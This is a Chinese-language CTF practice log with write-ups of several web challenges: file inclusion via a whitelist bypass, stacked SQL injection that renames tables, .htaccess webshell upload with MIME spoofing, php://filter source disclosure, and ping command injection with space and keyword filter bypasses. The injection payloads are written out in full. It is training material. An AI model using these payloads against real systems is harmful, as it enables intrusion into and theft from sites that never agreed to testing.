CTF刷题记录(一)
[HCTF 2018]WarmUp
文件包含,代码审计。
根据提示查看source.php看到源码,进行代码审计。
<?php
highlight_file(__FILE__); //高光显示
class emmm //定义一个类
{
public static function checkFile(&$page) //定义一个函数
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //定义白名单
if (! isset($page) || !is_string($page)) { //isset()判断变量是否声明,is_string判断变量是否为字符串
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //in_array判断page是否在白名单数组中
return true;
}
$_page = mb_substr( //mb_substr(str,start,length)从start开始截取str字符串length长
$page,
0,
mb_strpos($page . '?', '?') //mb_strpos返回要查找字符串的首次出现位置,page.’?’拼接一个‘?’
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page); //url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) //请求file且file满足下列条件
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
总体理解
:请求file,cehckfile对其进行了三次白名单检测,2次问号截断,1次url解码,需要构造语句绕过这些检测。
Hint.php给出提示,flag就在ffffllllaaaagggg文件里,结合文件包含访问这个文件
构造语句
:
file=source.php?../../../../../ffffllllaaaagggg
直接绕过第一次白名单检测,?截断语句成source.php绕过前第二次白名单检测,剩下source.php在拼接上‘?’和上一步一样第三次白名单检测,返回true之后执行文件包含漏洞执行后续语句,得到flag
[极客大挑战 2019]EasySQL
简单get型sql注入
[极客大挑战 2019]Havefun
Get方式提交请求/?cat=dog
[强网杯 2019]随便注
1’//or//1>0#有回显,存在注入点
1'union(select//database(),2//)#回显
说明存在过滤,试试大小写绕过,不行。Sqlmap也无法注入,搜查资料发现是堆叠注入。
堆叠注入
:
堆叠注入为攻击者提供了很多控制权,与仅限于SELECT语句的UNION联合查询攻击不同,堆叠注入可以用于执行任何SQL语句。在sql中,分号表示一条语句的结束。如果在分号的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句。
查库注入语句:
0';show database();#
查表注入语句:0';show tables;#回显
0';desc `1919810931114514`;#
查询第一个表
0';desc `1919810931114514`;#(desc 表示降序显示该表,注:需用反引号括起表名)
flag就在其中
查询第二个表
0';desc words;#
不难看出,查询的后端语句可能为select id,data from words where id=,
但flag在另一个表中无法直接读出,这时候可以通过修改表名,使得查询语句查询的是flag表从而回显变成flag。
更换表名语句
:rename table A to B
更换属性名语句
:alter table A change x to b
注入语句:
0';rename table `words` to w;rename table `1919810931114514` to words;alter table `words` change flag id varchar(100);# (表名要用反引号括起)
再次查表,换名成功
再次输入1’or 1>0#,得到flag
[极客大挑战] 2019Knife
很直白,蚁剑连接拿到flag
[GXYCTF2019]BabyUpload
不能含有ph,尝试用Apache漏洞
php.xxx绕过,不成功。
上传.htaccess文件
,.htaccess文件内容为把同名文件2.jpeg解析为php文件
MIME绕过
,content-type改为image/jpeg绕过文件类型检查
再上传一个含有一句话木马的同名文件2.jpeg
上传成功,访问jpeg文件成功,说明已被解析为php,蚁剑连接找到flag
[极客大挑战 2019]Secret File
网页源码得到信息并访问
得到以下页面,点击按钮显示查阅完毕
查看网页源码,显示跳转的是action页面,但最终给出的页面是end.php
使用burpsuit截拦action,得到信息secr3t.php
访问该页面得到以下源代码
意思是get传入一个文件名,文件名不能包含../、tp、input、data,包括其大小写,如果能够绕过这些过滤的话,传入的文件名就会被文件包含,同时提示了flag就在flag.php里。
考虑使用伪协议进行绕过,过滤了php://input,但没过滤php://filter
伪协议
:
php://
访问各个输入/输出流(I/O streams);
php://filter
用于读取源码,读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了;
php://input
用于执行php代码,可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
结合文件包含漏洞构造
playload:?file=php://filter/read=convert.base64-encode/resource=flag.php
返回的是base64编码
解码得出flag
[GXYCTF2019]Ping Ping Ping
输入ip=1,回显
利用Linux 命令执行的管道符漏洞
管道符
:
Windows
:
Ping 2|whoami:直接执行后面语句;
Ping 2||whoami:前面语句为假时执行后面语句,前者只能是假
Ping 2&whoami:前面语句为假时执行后面语句,前者可假可真
Ping 2&&whoami:前面语句为假则不执行后者
Linux
:
Ping 2;whoami:执行完前者执行后者
Ping 2|whoami:直接执行后者
Ping 2||whoami:前面语句为假时执行后面语句,前者只能是假
Ping 2&whoami:前面语句为假时执行后面语句,前者可假可真
Ping 2&&whoami:前面语句为假则不执行后者
构造playload:?ip=1;ls //返回当前目录
尝试访问flag.php
playload:?ip=1;cat flag.php
过滤空格,$IFS$1
绕过空格
playload:?ip=1;cat$IFS$1flag.php
过滤了flag,再用变量绕过敏感字符
playload:?ip=1;b=g;cat$IFS$1fla$b.php
在网页源码找到了flag
多解
:
先对 cat flag.php 进行base64 加密
,过滤 bash ,那就用 sh
Playload:?ip=1; echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
内联执行,使用 `` 代替 | ,将反引号内命令执行两次
[第一章 web入门]常见的搜集
源码看不到什么信息,根据提示查找敏感文件
:
1.gedit备份文件,格式为filename,如index.php
2.vim备份文件,格式为.filename.swp或者*.swo或者*.swn,比 如.index.php.swp
3.robots.txt
查robots.txt
根据提示访问
访问index.php~
访问index.php.swp,下载文件
三段flag拼接即是flag
[第一章 web入门]粗心的小李
题目提示与git相关
,下载githack,执行命令
打开githack文件下的index.html得到flag